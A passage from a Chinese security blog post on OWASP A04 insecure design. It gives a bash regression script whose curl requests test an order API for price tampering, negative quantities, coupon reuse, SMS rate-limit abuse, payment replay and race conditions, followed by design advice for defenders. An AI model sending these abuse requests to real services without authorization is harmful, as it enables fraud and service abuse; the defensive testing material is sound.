  curl -s -o /tmp/r.txt -w "%{http_code}" -X POST "$1" \
    -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d "$2" --max-time 15
}

echo "===== 1. 金额篡改防护 ====="
code=$(auth_post "$BASE/api/order/create" '{"productId":1001,"quantity":1,"price":0.01}')
check "客户端传低价金额" "" "$code" "400"   # 期望被拒绝或忽略 price

echo "===== 2. 负数数量防护 ====="
code=$(auth_post "$BASE/api/order/create" '{"productId":1001,"quantity":-1}')
check "负数数量" "" "$code" "400"

echo "===== 3. 优惠券复用防护 ====="
code1=$(auth_post "$BASE/api/order/create" '{"productId":1001,"quantity":1,"couponId":8888}')
code2=$(auth_post "$BASE/api/order/create" '{"productId":1001,"quantity":1,"couponId":8888}')
check "优惠券第二次使用" "" "$code2" "400"

echo "===== 4. 限频防护 ====="
# 连续 12 次发短信,第 1 次应成功,后续应被限
success=0
for i in $(seq 1 12); do
  c=$(curl -s -o /dev/null -w "%{http_code}" -X POST "$BASE/api/send-sms" \
    -H "Content-Type: application/json" -d '{"phone":"13800138000"}' --max-time 10)
  [ "$c" = "200" ] && success=$((success+1))
done
if [ "$success" -le 2 ]; then
  echo "[PASS] 短信限频生效 (12 次请求仅 $success 次成功)"; PASS=$((PASS+1))
else
  echo "[FAIL] 短信限频未生效 (12 次请求 $success 次成功)"; FAIL=$((FAIL+1))
fi

echo "===== 5. 幂等防护 ====="
KEY="idem-test-$(date +%s)"
c1=$(curl -s -o /dev/null -w "%{http_code}" -X POST "$BASE/api/pay" \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -H "Idempotency-Key: $KEY" -d '{"orderNo":"TEST001","amount":100}' --max-time 15)
c2=$(curl -s -o /dev/null -w "%{http_code}" -X POST "$BASE/api/pay" \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -H "Idempotency-Key: $KEY" -d '{"orderNo":"TEST001","amount":100}' --max-time 15)
check "重复幂等键的第二次请求" "" "$c2" "409"   # 期望 409 Conflict

echo "----------------------------------------"
echo "通过: $PASS   失败: $FAIL"
[ "$FAIL" -eq 0 ] && echo "✅ 全部通过" || echo "❌ 存在未修复项"

并发回归(这个必须单独测,普通回归覆盖不到):

bash
# 用前面并发测试小节的 race.sh 重跑一次
bash race.sh 50
# 期望:库存 1 件时,50 个并发请求只有 1 个 200

最后:安全设计不是「加个验证码」

A04 是十项里最"软"的一项,也是最考验安全工程师水平的一项 —— 因为没有工具能替你思考

三个核心认知:

  1. 区分设计缺陷与实现缺陷 —— 前者改代码没用,得改流程和机制。
  2. 业务逻辑漏洞只能靠"理解业务 + 系统性提问"发现 —— 扫描器扫不出来,因为它不知道你的规则是什么。
  3. 真正有效的防线在设计评审阶段 —— 用 STRIDE 走一遍,把安全需求写进验收标准,比事后救火便宜一百倍。

技术上的几个必做项:

  • 限频要做手机号规范化 + 多维度(手机号/IP/设备指纹)
  • 幂等要有幂等键 + 数据库唯一索引兜底
  • 并发优先用数据库原子 UPDATE,别先查后改
  • 金额永远服务端算,永远用 BigDecimal
  • 风控靠埋点数据,规则是后话

最后一句:安全设计不是"加个验证码",是"想清楚每个环节被滥用的后果"。


⚠️ 声明:本文所有示例、脚本与命令仅用于授权的安全测试、教学研究与自有系统加固。请勿对任何未授权系统进行测试,违反者需自行承担法律责任。

SecLab 网络安全博客 · 内容仅供安全研究与学习,请勿用于未授权活动